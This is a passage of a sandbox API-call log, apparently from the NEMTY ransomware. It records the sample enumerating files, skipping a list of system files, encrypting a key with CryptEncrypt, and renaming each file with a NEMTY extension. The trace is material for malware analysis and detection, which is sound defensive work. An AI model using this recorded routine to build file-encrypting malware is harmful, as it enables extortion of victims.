lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_snow.png", lpUsedDefaultChar=0x0) returned 23 [0167.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0167.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0167.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0167.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0167.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_snow.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0167.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0167.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_snow.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_snow.png", lpUsedDefaultChar=0x0) returned 23 [0167.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0167.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0167.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_snow.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0167.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0167.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_snow.png", cchWideChar=23, lpMultiByteStr=0x4f9ed08, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_snow.png", lpUsedDefaultChar=0x0) returned 23 [0167.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0167.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0167.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0167.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0167.963] Sleep (dwMilliseconds=0x5) [0167.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x17c2b950, dwHighDateTime=0x1d561e8)) [0167.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x17c2b950, dwHighDateTime=0x1d561e8)) [0167.963] GetLastError () returned 0x5 [0167.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.963] GetLastError () returned 0x5 [0167.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0167.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0167.963] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0167.963] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0167.963] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0167.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0167.963] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="EQUMip/UsogDc4IPS4rufMT5PNfd/MHUcUCEqwwRWFoNnYsesEZXICkj/JCXEddd\r\n0EpqF+thfOKptWJYFaRAlH0eCOlwv8uWlqqq5brJnveBCB+2hb37/Jrkxh/KBNqo\r\nQNx4sqd3XhZ+ZwQB9ai5lByCfkquxC54WnjibhQMCEHUuVMRXpI7+v7w2jgGteUe\r\nT6sD3N0ZYlKMbtRUBYMnYwa1Uobv1mUF9cGt/x3mzbOqB+6eOAOsgthl4DwTgoi0\r\ncCrKal6Eyqdt8Bga+AvTQA/nJTQYNirDH7tiJQIkjeeCTP5llBpaez00YJvYU4zP\r\nYaaESpQZSHon19epuWqIeg==\r\n", pcchString=0x653e91c) returned 1 [0167.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0167.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0167.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0167.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0167.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0167.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0167.964] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_snow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_snow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0167.964] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0167.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0167.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.965] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.974] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.012] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.021] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.021] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.066] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.066] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.072] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.078] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.078] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0168.079] CloseHandle (hObject=0xffffffff) returned 0 [0168.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0168.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0168.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0168.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0168.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0168.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0168.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0168.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0168.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0168.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0168.079] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_snow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_snow.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_snow.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_snow.png._nemty_kgobjgd_")) returned 0 [0168.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0168.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0168.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0168.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0168.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0168.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0168.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0168.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0168.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0168.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.079] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f0d0d0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86f0d0d0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x34bd5d83, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_thunderstorm.png", cAlternateFileName="")) returned 1 [0168.079] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2=".") returned 1 [0168.079] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="..") returned 1 [0168.079] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="...") returned 1 [0168.079] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="windows") returned -1 [0168.079] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="$RECYCLE.BIN") returned 1 [0168.079] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="rsa") returned 1 [0168.079] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="NTDETECT.COM") returned 1 [0168.080] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="ntldr") returned 1 [0168.080] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="MSDOS.SYS") returned 1 [0168.080] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="IO.SYS") returned 1 [0168.080] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="boot.ini") returned 1 [0168.080] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="boot.ini") returned 1 [0168.080] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="AUTOEXEC.BAT") returned 1 [0168.080] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="ntuser.dat") returned 1 [0168.080] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="desktop.ini") returned 1 [0168.080] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="CONFIG.SYS") returned 1 [0168.080] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="RECYCLER") returned 1 [0168.080] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="BOOTSECT.BAK") returned 1 [0168.080] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="bootmgr") returned 1 [0168.080] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="programdata") returned 1 [0168.080] lstrcmpiW (lpString1="undocked_black_thunderstorm.png", lpString2="appdata") returned 1 [0168.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_thunderstorm.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0168.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_thunderstorm.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_thunderstorm.png", lpUsedDefaultChar=0x0) returned 31 [0168.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0168.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_thunderstorm.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0168.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_thunderstorm.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_thunderstorm.png", lpUsedDefaultChar=0x0) returned 31 [0168.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0168.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_thunderstorm.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0168.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_thunderstorm.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_thunderstorm.png", lpUsedDefaultChar=0x0) returned 31 [0168.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_thunderstorm.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0168.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0168.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_thunderstorm.png", cchWideChar=31, lpMultiByteStr=0x4f9ed08, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_thunderstorm.png", lpUsedDefaultChar=0x0) returned 31 [0168.080] 